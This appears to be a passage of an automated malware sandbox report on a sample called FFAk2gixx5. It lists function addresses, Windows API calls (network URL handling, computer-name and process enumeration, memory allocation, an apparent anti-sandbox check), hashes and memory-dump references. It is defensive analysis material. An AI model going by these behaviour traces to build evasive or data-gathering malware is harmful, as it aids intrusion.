Opcode Fuzzy Hash: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction Fuzzy Hash: 886105B5D00208DBDB14DF94D984BEEB7B0AB48304F1185AAE80677380D739AEA5DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404470 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00414FE0: malloc.MSVCRT ref: 00414FE8

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Strings

<, xrefs: 00404489

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlenmalloc
String ID: <
API String ID: 3848002758-4251816714
Opcode ID: aee68030481c15f3a8a0d74a7ae3faa97774961cdc3ad1f83d9bd14d82ac1fd1
Instruction ID: 522bfe70756940731c8a55fb627e5381a09ff4e69ffc56460ccf4e42935f5807
Opcode Fuzzy Hash: aee68030481c15f3a8a0d74a7ae3faa97774961cdc3ad1f83d9bd14d82ac1fd1
Instruction Fuzzy Hash: 9A216DB5D00208ABDF10EFA5E845BDD7B74AB44324F004229FA25B72C1EB346A46CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF80 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02C525C0), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,02C524F0), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,02C525A0), ref: 0040F17E

Part of subcall function 00416D90: lstrcpy.KERNEL32(?,00000000), ref: 00416DD6

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 395df91361d4143ba3ff836be99b5753ba10291e7b9be96f125908585cca15b7
Instruction ID: ce2d0e9780a898a2d5e8a6d2b75d72637f107b84f02e64ee69ad7069a5c21849
Opcode Fuzzy Hash: 395df91361d4143ba3ff836be99b5753ba10291e7b9be96f125908585cca15b7
Instruction Fuzzy Hash: 24719871B002099BCF18FFB5D9929EE777AAF94304B00852EF4059B285EA34EE45CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF9F Relevance: 4.7, APIs: 3, Instructions: 177COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02C525C0), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,02C524F0), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,02C525A0), ref: 0040F17E

Part of subcall function 00416D90: lstrcpy.KERNEL32(?,00000000), ref: 00416DD6

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 8a2fe91620c9b33b7bae23a255f6ba48d324a9b321ac78eb3f39b7a2abae9a4e
Instruction ID: 56fc0c1f3f6cd62e1d02416e7400e4b282f7148ee89ef27c2f82e4eadd9ced28
Opcode Fuzzy Hash: 8a2fe91620c9b33b7bae23a255f6ba48d324a9b321ac78eb3f39b7a2abae9a4e
Instruction Fuzzy Hash: 13618971B002099FCF18EF75D9929EEB7B6AF94304B10852EF4059B295DA34EE45CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 00415B60 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B74
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415B95
CloseHandle.KERNEL32(00000000), ref: 00415B9F

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: aae6bc35841ff932517c63901db7d59fd71c285c629585bed1e85be801835f0a
Instruction ID: 4c8addbd00fd10208f28eca43ba985643f2d85167dc71f8bf48d2acf12b2b3a6
Opcode Fuzzy Hash: aae6bc35841ff932517c63901db7d59fd71c285c629585bed1e85be801835f0a
Instruction Fuzzy Hash: BDF05E75A0020CFBDB24DFA4DC4AFEE7778BB08300F008499BA0597280D6B4AE85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 004143F0 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,004136DB,0041D6E3), ref: 004143FD
HeapAlloc.KERNEL32(00000000), ref: 00414404
GetComputerNameA.KERNEL32(?,00000104), ref: 0041441C

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction ID: 2c842b020f3cef85a16e69bd4024725a8e64f23a6ebd0c070df10e7b7a95cf03
Opcode Fuzzy Hash: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction Fuzzy Hash: 60E0D8B0A00608FBCB20DFE4DD48FDD77BCAB04301F500055FA05D3240D7749A459B96

Uniqueness

Uniqueness Score: -1.00%

Function 004010D0 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136CC), ref: 004010EB
VirtualAllocExNuma.KERNEL32(00000000,?,?,004136CC), ref: 004010F2
ExitProcess.KERNEL32 ref: 00401103

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction ID: b86936f0f7b92ad6105a5e8d9325c57b614f4cde8fc05540e07f2d0ff83aec39
Opcode Fuzzy Hash: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction Fuzzy Hash: 1BE0867098570CBBE7309BA0DD0AB1976689B08B06F101055F7097A1D0C6B425008699

Uniqueness

Uniqueness Score: -1.00%

Function 61E33F01 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 106fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32 ref: 61E33FB1

Strings

winRead, xrefs: 61E33FF4

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: FileRead
String ID: winRead
API String ID: 2738559852-2759563040
Opcode ID: 851fea00ae6f1ba7616ac175e32ee1177d3feb74bace6ba213d978081e29e1e5
Instruction ID: 0463a8294cdaeeb391ba6f45b5ad466d8cdf6662135ec028d0205bc88dba3c8e
Opcode Fuzzy Hash: 851fea00ae6f1ba7616ac175e32ee1177d3feb74bace6ba213d978081e29e1e5
Instruction Fuzzy Hash: 2041E475A052699BCF04CFA8D88498EBBF2FF88314F618529E868A7354D730E941CB91

Uniqueness

Uniqueness Score: -1.00%

Function 61E3402F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32 ref: 61E3404C

Strings

winClose, xrefs: 61E34086

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID: winClose
API String ID: 2591292051-4219828513
Opcode ID: c60c52094e65ead93584bd01b08d1abc788ebbc504c85440e44ebfbab32f71d9
Instruction ID: 774f0b390e99eda96ce63d5266cab459109c075f265339c96ef3e2cb904a27c1
Opcode Fuzzy Hash: c60c52094e65ead93584bd01b08d1abc788ebbc504c85440e44ebfbab32f71d9
Instruction Fuzzy Hash: EBF09670B043259BE700AF75C5C4A5AFBA4EF89314F20C46DD8898B342D73AD944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 61E354D1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,61ECC400,?,61E35248), ref: 61E354EB

Strings

HRa, xrefs: 61E3554C

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: InfoSystem
String ID: HRa
API String ID: 31276548-1004199025
Opcode ID: 90f829b77809e80cd7cc556866e5c439b2c19dcd8d7a36888ffec522c66ecd4c
Instruction ID: 06cda1940385b8855eb11c4b22b944da250b3e82bd825487f891a332eec36e05
Opcode Fuzzy Hash: 90f829b77809e80cd7cc556866e5c439b2c19dcd8d7a36888ffec522c66ecd4c
Instruction Fuzzy Hash: 56F03AB02083419BD704AFA4C60631FBAF5AFC6B09F66C82DD1858B380CB75D8559B93

Uniqueness

Uniqueness Score: -1.00%

Function 02C38236 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02C3825E
Module32First.KERNEL32(00000000,00000224), ref: 02C3827E

Memory Dump Source

Source File: 00000000.00000002.3315657325.0000000002C37000.00000040.00000020.00020000.00000000.sdmp, Offset: 02C37000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c37000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 1aec9f5c95f096e4dd5ba5029f119eba307a5112a8e6f7155d9d687e68ea3cfd
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 3BF09631100B10AFDB213BF9988DB6FB6E8BF89625F100A28F643A14C0DB71ED454A61

Uniqueness

Uniqueness Score: -1.00%

Function 004147B0 Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 004147BD
wsprintfA.USER32 ref: 004147D3

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction ID: d87a4f6b3ea3f44bdf221dc5e2fa01f01132d118a4d77551e5f155a4815ada85
Opcode Fuzzy Hash: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction Fuzzy Hash: FAD012B580020C5BD720DBD0ED49AE9B77DBB44204F4049A5EE1492140EBB96AD58AA5

Uniqueness

Uniqueness Score: -1.00%

Function 02FC0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,02FC0223,?,?), ref: 02FC0E19
SetErrorMode.KERNEL32(00000000,?,?,02FC0223,?,?), ref: 02FC0E1E

Memory Dump Source

Source File: 00000000.00000002.3315854062.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fc0000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: ecccb221eca8afc39b238fc6a573dbfafbac2534b4061c7d54fb180911970f8b
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 4AD01231545129B7D7003A94DC09BCD7B1CDF05BA6F108011FB0DD9080CB70954146E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B190
lstrlen.KERNEL32(00000000), ref: 0040B1A4

Part of subcall function 00416D90: lstrcpy.KERNEL32(?,00000000), ref: 00416DD6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02C52620), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocInternetLocalOpenmemcmpmemset
String ID:
API String ID: 574041509-0
Opcode ID: be324779b34ba8cbcaa96697f5fa3bf5db7285c4430053739d1876eef1da2c12
Instruction ID: 7a9e664398ec1c0121975d30926b1f9e2e3a618fb7cbc829902b97af832c13c3
Opcode Fuzzy Hash: be324779b34ba8cbcaa96697f5fa3bf5db7285c4430053739d1876eef1da2c12
Instruction Fuzzy Hash: 27E1C4729101149BCF15EBA1EC62EEE7339BF54304F41456EF10677091EF78AA89CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6E0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

lstrlen.KERNEL32(00000000), ref: 0040A95A
lstrlen.KERNEL32(00000000), ref: 0040A96E

Part of subcall function 00416D90: lstrcpy.KERNEL32(?,00000000), ref: 00416DD6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02C52620), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 293ee60748fb8f872a47c75dbd97b48848a101e357c63fca722d52e03a09f7a5
Instruction ID: d4bfde2cef1a18bb12603e7b8a4f2b3a5d6653085a2eef73e34cce166e31b068
Opcode Fuzzy Hash: 293ee60748fb8f872a47c75dbd97b48848a101e357c63fca722d52e03a09f7a5
Instruction Fuzzy Hash: 819117729101049BCF14FBA1EC52EEE7339BF54308F41456EF10667091EF38AA8ACB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA20 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

lstrlen.KERNEL32(00000000), ref: 0040AC1E
lstrlen.KERNEL32(00000000), ref: 0040AC32

Part of subcall function 00416D90: lstrcpy.KERNEL32(?,00000000), ref: 00416DD6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02C52620), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 8655a8ee6abc71decc2b171253b9d454969654a3e46668e0d0877f7c438f5e51
Instruction ID: 97d0600012742b4f45ca8fd57ae47cfe2703359dc8c2a5331372c42dc633abae
Opcode Fuzzy Hash: 8655a8ee6abc71decc2b171253b9d454969654a3e46668e0d0877f7c438f5e51
Instruction Fuzzy Hash: 537146719101049BCF14FBA1EC66EEE7339BF54308F41456EF10667091EF38AA8ACB69

Uniqueness

Uniqueness Score: -1.00%

Function 00406050 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(004067AE,004067AE,00003000,00000040), ref: 004060F6
VirtualAlloc.KERNEL32(00000000,004067AE,00003000,00000040), ref: 00406143

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction ID: 5341a9e810d76a35e886a0404415562c2a616bd51e9685e0b668c9c894d7d0dc
Opcode Fuzzy Hash: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction Fuzzy Hash: 8341DE34A00209EFCB54CF58C494BADBBB1FF44314F1482A9E95AAB395C735AA91CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00401060 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040110E,?,?,004136CC), ref: 00401073
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040110E,?,?,004136CC), ref: 004010B7

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c95c141f12cd77f44e14c76af6947121bbc7c66554fe0f15bfb2e4a557314363
Instruction ID: 7007e133f31f12fda65ed607deb87b823eabd85472971f09c5db0f2d59686cba
Opcode Fuzzy Hash: c95c141f12cd77f44e14c76af6947121bbc7c66554fe0f15bfb2e4a557314363
Instruction Fuzzy Hash: 5EF0E2B1681208BBE7249AE4AC59FABF7ACA745B05F304459F940E3390DA719E0086A4

Uniqueness

Uniqueness Score: -1.00%

Function 61E2A652 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

realloc.MSVCRT ref: 61E2A66D

Memory Dump Source

